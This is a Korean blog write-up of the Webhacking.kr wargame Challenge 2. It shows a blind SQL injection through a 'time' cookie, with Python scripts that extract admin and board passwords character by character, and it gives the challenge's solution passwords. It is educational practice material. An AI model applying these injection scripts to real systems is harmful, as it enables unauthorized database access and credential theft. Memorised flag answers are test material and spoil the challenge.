티스토리 뷰

Wargame/Webhacking.kr

Challenge 2

do9dark 2015. 6. 18. 03:50


웹사이트를 둘러보면 BOARD > FreeB0aRd에 게시글이 하나 있는 것을 볼 수 있다.



게시글을 눌러보면 아래 그림과 같이 비밀글로 되어 있어서 볼 수가 없다.



다른 정보를 얻기 위해서 소스를 살펴보면 admin 페이지로 이동하는 링크를 볼 수가 있다.



 

admin 페이지에서도 특별한 정보를 얻을 수 없었으나 메인 페이지 소스를 하단에 보면 <!--2015-06-18 03:46:52--> 시간 정보가 주석으로 있는 것을 볼 수 있다.

쿠키를 살펴보면 시간 정보를 쿠키를 통해서 전달이 되는 것을 볼 수 있다.



time 값을 1로 변경해서 소스를 보면 아래 그림과 같다.



time 값을 1로 변경하였을 때 시간 정보 값을 보면 <!--2070-01-01 09:00:01--> 이다.

time 값을 1씩 증가시키면 시간 정보 중 초도 1씩 증가가 된다. (-1은 08:59:59, 0은 미표시, 00은 09:00:00)


time 값에 등호를 이용하여 1=1을 넣을 경우 <!--2070-01-01 09:00:01--> 가 나온다. (1과 동일, true)

time 값에 등호를 이용하여 1=2을 넣을 경우 <!--2070-01-01 09:00:00--> 가 나온다. (00과 동일, false)

이러한 특징을 이용하여 패스워드의 길이를 알아낼 수 있다.

1=1 and (select length(password) from admin)=9을 넣을 경우 <!--2070-01-01 09:00:00--> 가 나온다. 

1=1 and (select length(password) from admin)=10을 넣을 경우 <!--2070-01-01 09:00:01--> 가 나온다. (password의 컬럼 길이는 10글자)


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
 
session = "al2ed8793qf844q0n86osmmsn3"
url = "http://webhacking.kr/challenge/web/web-02/index.php"
req = urllib2.Request(url)
 
for x in xrange(0,30):
    query = "1=1 and (select length(password) from admin)="+str(x)
    req.add_header("Cookie","time="+query+"; PHPSESSID="+session)
    if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"):
        print "length(password): " + str(x)
        break
cs

length(password): 10


동일한 방법으로 패스워드에 해당하는 문자를 구할 수 있다.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
 
session = "al2ed8793qf844q0n86osmmsn3"
url = "http://webhacking.kr/challenge/web/web-02/index.php"
req = urllib2.Request(url)
password = ""
 
for x in xrange(1,11):
    for y in xrange(0x20,0x80):
        query = "1=1 and (select ascii(substr(password,"+str(x)+",1)) from admin)="+str(y)
        req.add_header("Cookie","time="+query+";PHPSESSID="+session)
        if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"):
            password += chr(y)
            break
print password
cs

0nly_admin


패스워드를 이용하여 admin 페이지에 로그인해보면 아래 그림과 같이 메뉴얼 패스워드를 얻을 수 있다.


메뉴얼 패스워드 : @dM1n__nnanual


웹사이트에서 메뉴얼과 관련된 정보를 찾아보았지만 찾을 수가 없었다.

앞에서 봤던 비밀글의 패스워드를 동일한 방법으로 알아낼 수 있다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
 
session = "al2ed8793qf844q0n86osmmsn3"
url = "http://webhacking.kr/challenge/web/web-02/index.php"
req = urllib2.Request(url)
 
for x in xrange(0,30):
    query = "1=1 and (select length(password) from FreeB0aRd)="+str(x)
    req.add_header("Cookie","time="+query+";PHPSESSID="+session)
    if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"):
        print "length(password): " + str(x)
        break
cs

length(password): 9


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import urllib2
 
session = "al2ed8793qf844q0n86osmmsn3"
url = "http://webhacking.kr/challenge/web/web-02/index.php"
req = urllib2.Request(url)
password = ""
 
for x in xrange(1,10):
    for y in xrange(0x20,0x80):
        query = "1=1 and (select ascii(substr(password,"+str(x)+",1)) from FreeB0aRd)="+str(y)
        req.add_header("Cookie","time="+query+";PHPSESSID="+session)
        if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"):
            password += chr(y)
            break
print password
cs

7598522ae


패스워드를 이용하여 비밀글을 열어보면 admin manual 글자와 함께 메뉴얼 압축 파일(__AdMiN__FiL2.zip)을 다운 받을 수 있다.




메뉴얼 압축 파일(__AdMiN__FiL2.zip)은 패스워드가 걸려 있으나 앞에서 알아낸 메뉴얼 패스워드 : @dM1n__nnanual 를 이용하여 압축을 풀 수 있고 위 그림과 같이 manual.html 파일을 얻을 수 있다. html 파일을 열어보면 최종 패스워드를 구할 수 있다.



패스워드는 HacKed_by_n0b0dY 이다.



'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 11  (0) 2015.07.06
Challenge 10  (0) 2015.07.06
Challenge 9  (0) 2015.07.05
Challenge 8  (0) 2015.07.05
Challenge 7  (0) 2015.07.05
Challenge 6  (0) 2015.06.28
Challenge 5  (0) 2015.06.27
Challenge 4  (0) 2015.06.25
Challenge 3  (0) 2015.06.25
Challenge 1  (0) 2015.06.18
댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday